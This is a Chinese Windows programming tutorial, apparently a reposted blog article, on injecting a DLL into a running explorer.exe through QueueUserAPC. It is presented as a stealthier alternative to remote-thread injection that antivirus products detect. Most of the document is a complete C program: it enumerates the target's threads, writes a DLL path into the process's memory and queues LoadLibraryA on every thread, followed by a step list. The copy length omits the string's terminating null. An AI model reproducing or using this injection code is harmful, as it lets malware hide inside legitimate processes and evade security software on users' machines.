windows sdk编程系列文章 ---- 利用APC实现向一个运行中的进程注入自己的代码

来源:互联网 发布:java的方法名命名规则 编辑:程序博客网 时间:2024/05/09 21:36
理论:

关于APC概念方面的介绍,前面已经有专文详细的说明了,在这里不再重复了。本篇我们主要谈谈利用APC实现向一个运行中的进程注入自己的代码的用法。

向一个运行中的进程注入自己的代码,常见的办法有全局钩子,以及CreateRemoteThread实现的远程线程注入,如今远线程注入已经是泛滥成灾,杀毒软件对于远程线程已经做了检查和警示。

用户态代码想要更隐蔽地藏身于别的进程,就应该在注入的环节隐蔽自己的行为。本篇给出的示例为在Explorer里加载自己的dll。

这里首先提到的就是一个API:QueueUserAPC 。原型如下:

DWORD QueueUserAPC(
PAPCFUNC pfnAPC, // APC function
HANDLE hThread,  // handle to thread
ULONG_PTR dwData // APC function parameter

从流程上看QueueUserAPC直接转入了系统服务NtQueueApcThread从而利用KeInsertQueueApc向给出的目标线程的 APC队列插入一APC对象。倘若KiDeliverApc顺利的去构造apc环境并执行我们的代码那一切就OK了,只可惜没有那么顺利的事, ApcState中UserApcPending是否为TRUE有重要的影响,结果往往是你等到花儿都谢了你的代码还是没得到执行。在核心态往往不成问 题,自己动手赋值,可是用户态程序可不好做,怎么办?

实际上应用程序在请求“alertable”的等待时系统就会置UserApcPending为TRUE(当 KeDelayExecutionThread/KeWaitForMultipleObjects/KeWaitForSingleObject 使用TestForAlertPending时就有可能,此外还有KeTestAlertThread等,机会还是有的),最简单的例子,目标线程调用 SleepEx(***, TRUE)后我们插入APC代码就会乖乖执行了。

如果我们插入的目标线程也是本进程的话,我们就可以调用上面的函数让APC迅速执行,但是这里如果我们要插入的是Explorer进程,最简单的办法就是枚举Explorer中所有线程,全数插入,相信这么多的线程中,总有一个满足执行条件,只要有一个满足条件,我们就成功了。


代码:见光盘InsertApc,代码摘自网络,略作修改。

#define _WIN32_WINNT 0x0400
#define WIN32_LEAN_AND_MEAN   // 从 Windows 头中排除极少使用的资料

#include <windows.h>
#include <Tlhelp32.h>
#include <stdio.h>
#include <stdlib.h>

typedef HANDLE (CALLBACK *OPENTHREAD) (DWORD dwFlag, BOOL bUnknow, DWORD dwThreadId);


typedef struct _TIDLIST
{
    DWORD dwTid ;
    _TIDLIST *pNext ;
}TIDLIST;

DWORD EnumThread(HANDLE hProcess, TIDLIST *pThreadIdList)
{
    TIDLIST *pCurrentTid = pThreadIdList ;
    HANDLE hThread;
    const char szInjectModName[] = "c:\\sysnap.dll" ;
    DWORD dwLen = strlen(szInjectModName) ;
    HMODULE hDll = GetModuleHandle("Kernel32.dll");

    PVOID param = VirtualAllocEx(hProcess, \
            NULL, dwLen, MEM_COMMIT | MEM_TOP_DOWN, PAGE_EXECUTE_READWRITE) ;

    if (param != NULL)
    {
       DWORD dwRet ;
       if (WriteProcessMemory(hProcess, param, (LPVOID)szInjectModName, dwLen, &dwRet))
       {

            while (pCurrentTid)
            {
                 OPENTHREAD lpfnOpenThread = (OPENTHREAD)::GetProcAddress(hDll, "OpenThread");
                 hThread = lpfnOpenThread(THREAD_ALL_ACCESS,FALSE,pCurrentTid->dwTid);
                if (hThread != NULL)
                {
                    //
                    // 注入DLL到指定进程
                    //
                    QueueUserAPC((PAPCFUNC)LoadLibraryA, hThread, (ULONG_PTR)param) ;
                }

                printf("TID:%d\n", pCurrentTid->dwTid) ;
                pCurrentTid = pCurrentTid->pNext ;
            }
       }
    }
    return 0 ;
}

DWORD GetProcID(const char *szProcessName)
{
    PROCESSENTRY32 pe32 = {0} ;
    pe32.dwSize = sizeof(PROCESSENTRY32);

    HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0) ;

    if (hSnapshot == INVALID_HANDLE_VALUE)
    {
       return 0xFFFFFFFF ;
    }

    if (!Process32First(hSnapshot, &pe32))
    {
       return 0xFFFFFFFF ;
    }

    do
    {
       if (!_strnicmp(szProcessName, pe32.szExeFile, strlen(szProcessName)))
       {
            printf("%s的PID是:%d\n", pe32.szExeFile, pe32.th32ProcessID);
            return pe32.th32ProcessID ;
       }
    } while(Process32Next(hSnapshot, &pe32));

    return 0xFFFFFFFF ;

}

TIDLIST* InsertTid(TIDLIST *pdwTidListHead, DWORD dwTid)
{
    TIDLIST *pCurrent = NULL ;
    TIDLIST *pNewMember = NULL ;

    if (pdwTidListHead == NULL)
    {
       return NULL ;
    }
    pCurrent = pdwTidListHead ;

    while (pCurrent != NULL)
    {

       if (pCurrent->pNext == NULL)
       {
            //
            // 定位到链表最后一个元素
            //
            pNewMember = (TIDLIST *)malloc(sizeof(TIDLIST)) ;

            if (pNewMember != NULL)
            {
                pNewMember->dwTid = dwTid ;
                pNewMember->pNext = NULL ;
                pCurrent->pNext = pNewMember ;
                return pNewMember ;
            }
            else
            {
                return NULL ;
            }
       }
       pCurrent = pCurrent->pNext ;
    }

    return NULL ;
}

int EnumThreadID(DWORD dwPID, TIDLIST *pdwTidList)
{
    int i = 0 ;

    THREADENTRY32 te32 = {0} ;
    te32.dwSize= sizeof(THREADENTRY32) ;

    HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD,dwPID) ;

    if(hSnapshot != INVALID_HANDLE_VALUE)
    {
       if(Thread32First(hSnapshot,&te32))
       {
            do
            {
                if(te32.th32OwnerProcessID==dwPID)
                {
                    if (pdwTidList->dwTid == 0)
                    {
                           pdwTidList->dwTid = te32.th32ThreadID ;
                    }
                    else
                    {
                           if (NULL == InsertTid(pdwTidList, te32.th32ThreadID))
                           {
                                printf("插入失败!\n") ;
                                return 0 ;
                           }
                    }
    
                }
            }while(Thread32Next(hSnapshot,&te32));
       }
    }
    return 1 ;
}

void RemoveTid(TIDLIST *pdwTidListHead)
{
    TIDLIST *pCurrent = NULL ;
    TIDLIST *pNext = NULL ;


    if (pdwTidListHead == NULL)
    {
       return;
    }
    pCurrent = pdwTidListHead ;

    while (pCurrent != NULL)
    {
    
       pNext = pCurrent->pNext;
       free(pCurrent);
       pCurrent = pNext;
    }

}
int main(int argc, char* argv[])
{
    TIDLIST *pTidHead = (TIDLIST *)malloc(sizeof(TIDLIST)) ;

    if (pTidHead == NULL)
    {
       return 1 ;
    }
    RtlZeroMemory(pTidHead, sizeof(TIDLIST)) ;

    DWORD dwPID = 0 ;

    if ((dwPID = GetProcID("explorer.exe")) == 0xFFFFFFFF)
    {
       printf("进程ID获取失败!\n") ;
       return 1 ;
    }

    //
    // 枚举线程ID
    //
    EnumThreadID(dwPID, pTidHead) ;

    HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPID) ;

    if (hProcess == NULL)
    {
       return 1 ;
    }
    EnumThread(hProcess, pTidHead) ;

    CloseHandle(hProcess);

    RemoveTid(pTidHead);

    return 0;
}

分析:

代码比较简单,步骤如下:
1)根据进程名,获取进程ID,通过遍历所有的进程,比较当前遍历到的进程名是否等于我们参数传递进的进程名,如果是,则返回此进程的ID,否则继续遍历。

2)根据获取的进程ID,打开目标进程。

3)遍历进程内所有的线程模块,将遍历出的线程ID,保存到一个单项链表中。

4)调用QueueUserAPC向链表中的每个线程插入APC。

5)关闭进程句柄。

6)删除链表。